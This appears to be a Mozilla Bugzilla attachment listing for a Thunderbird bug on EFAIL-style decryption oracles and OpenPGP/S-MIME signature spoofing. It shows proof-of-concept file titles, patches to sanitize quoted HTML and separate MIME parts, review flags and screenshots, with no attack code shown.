Update: Here's a full (public) report on reply-based decryption oracles and signature oracles (bug #1530106):
https://arxiv.org/ftp/arxiv/papers/1904/1904.07550.pdf

Daniel Veditz [:dveditz]

Updated

•

5 years ago

Group: core-security-release

Decryption oracle PoC 1: Leaking plaintext through reply/forward 7 years ago Jens Müller 3.45 KB, text/plain		Details
Decryption oracle PoC 2: Leaking plaintext through HTML forms 7 years ago Jens Müller 3.84 KB, message/rfc822		Details
Decryption oracle PoC 3: Leaking plaintext through src attribute 7 years ago Jens Müller 3.33 KB, text/plain		Details
Signature spoofing PoC 1: Impersonating Phil Zimmermann with CSS and plaintext tag 7 years ago Jens Müller 4.06 KB, message/rfc822		Details
Signature spoofing PoC 2: Impersonating Phil Zimmermann with invisible iframe tag 7 years ago Jens Müller 4.06 KB, message/rfc822		Details
bug1419417_efail_reply_fwd.patch 7 years ago Magnus Melin [:mkmelin] 2.29 KB, patch	jorgk-bmo : review-	Details \| Diff \| Splinter Review
A1-dec-pgp-smime-html-reply.eml 7 years ago Jorg K (CEST = GMT+2) 2.04 KB, text/plain		Details
tb-smime-leak-1.png 7 years ago Ben Bucksch (:BenB) 92.03 KB, image/png		Details
tb-smime-leak-2.png 7 years ago Ben Bucksch (:BenB) 90.96 KB, image/png		Details
Sanitize quoted HTML 7 years ago Ben Bucksch (:BenB) 2.68 KB, patch	jorgk-bmo : review-	Details \| Diff \| Splinter Review
Sanitize quoted HTML (cleaned-up) 7 years ago Jorg K (CEST = GMT+2) 2.76 KB, patch	jorgk-bmo : feedback-	Details \| Diff \| Splinter Review
Separate MIME parts from each other (for 52) 7 years ago Ben Bucksch (:BenB) 15.17 KB, patch		Details \| Diff \| Splinter Review
Sanitizer code cleanup 7 years ago Ben Bucksch (:BenB) 13.72 KB, patch	mkmelin : review+ jorgk-bmo : review+	Details \| Diff \| Splinter Review
Sanitize quoted HTML, v3 7 years ago Ben Bucksch (:BenB) 2.60 KB, patch		Details \| Diff \| Splinter Review
Separate MIME parts from each other (for trunk) 7 years ago Jorg K (CEST = GMT+2) 15.55 KB, patch		Details \| Diff \| Splinter Review
Separate MIME parts from each other, v4 (trunk and 52) 7 years ago Ben Bucksch (:BenB) 14.37 KB, patch		Details \| Diff \| Splinter Review
Sanitizer code cleanup, v2 7 years ago Ben Bucksch (:BenB) 14.78 KB, patch	jorgk-bmo : review-	Details \| Diff \| Splinter Review
Sanitize quotes, v4 (for 52) 7 years ago Ben Bucksch (:BenB) 4.66 KB, patch	jorgk-bmo : feedback-	Details \| Diff \| Splinter Review
Sanitize quotes, v2 vs. v4 - Screenshots 7 years ago Ben Bucksch (:BenB) 262.53 KB, image/png		Details
tb-efail-attachment-separators.png 7 years ago Ben Bucksch (:BenB) 49.05 KB, image/png		Details
horizontal lines.png 7 years ago Jorg K (CEST = GMT+2) 10.32 KB, image/png		Details
DOM.png 7 years ago Richard Marti (:Paenglab) 20.94 KB, image/png		Details
Separate MIME parts from each other, v4 (trunk only, with clean-up) 7 years ago Jorg K (CEST = GMT+2) 14.00 KB, patch	mkmelin : review+ jorgk-bmo : review+	Details \| Diff \| Splinter Review
1419417-fix-tests.patch 7 years ago Jorg K (CEST = GMT+2) 4.44 KB, patch		Details \| Diff \| Splinter Review
1419417-fix-tests.patch (v2) 7 years ago Jorg K (CEST = GMT+2) 4.54 KB, patch		Details \| Diff \| Splinter Review
1419417-remove-monkey-patch.patch 7 years ago Jorg K (CEST = GMT+2) 1.06 KB, patch	mkmelin : review+	Details \| Diff \| Splinter Review
Separate MIME parts from each other, v4b (trunk only, with clean-up) 7 years ago Jorg K (CEST = GMT+2) 14.00 KB, patch	jorgk-bmo : review+ jorgk-bmo : approval-comm-beta+ jorgk-bmo : approval-comm-esr52+ jorgk-bmo : approval-comm-esr60+	Details \| Diff \| Splinter Review
1419417-fix-tests.patch (v2) 7 years ago Jorg K (CEST = GMT+2) 2.63 KB, patch	BenB : review+	Details \| Diff \| Splinter Review
1419417-fix-mimethsa.patch [landed in bug 1462481 comment #11] 7 years ago Jorg K (CEST = GMT+2) 1.87 KB, patch	jorgk-bmo : review+	Details \| Diff \| Splinter Review
Separate MIME parts from each other, v5 (for 52) 7 years ago Ben Bucksch (:BenB) 15.92 KB, patch		Details \| Diff \| Splinter Review
Separate MIME parts from each other, v5 (for trunk) 7 years ago Ben Bucksch (:BenB) 15.68 KB, patch		Details \| Diff \| Splinter Review
Separate MIME parts from each other, v5.1 (for trunk) 7 years ago Ben Bucksch (:BenB) 15.28 KB, patch	jorgk-bmo : review-	Details \| Diff \| Splinter Review
Separate MIME parts from each other, v5.1 (for 52) 7 years ago Ben Bucksch (:BenB) 15.33 KB, patch		Details \| Diff \| Splinter Review
1419417-fix-tests.patch (v3) 7 years ago Jorg K (CEST = GMT+2) 2.63 KB, patch		Details \| Diff \| Splinter Review
<div> is correctly wrapping the HTMl email, with patch v5.* 7 years ago Ben Bucksch (:BenB) 11.76 KB, image/png		Details
test with image for attaching bug.eml 7 years ago Jorg K (CEST = GMT+2) 1.84 KB, text/plain		Details
OpenPGP Signature Spoofing 7 years ago Jens Müller 3.59 KB, message/rfc822		Details
OpenPGP Signature Spoofing (Screenshot) 7 years ago Jens Müller 42.35 KB, image/png		Details
S/MIME Reply Exfiltration 7 years ago Jens Müller 1.37 KB, message/rfc822		Details
S/MIME Reply Exfiltration (Screenshot) 7 years ago Jens Müller 60.26 KB, image/png		Details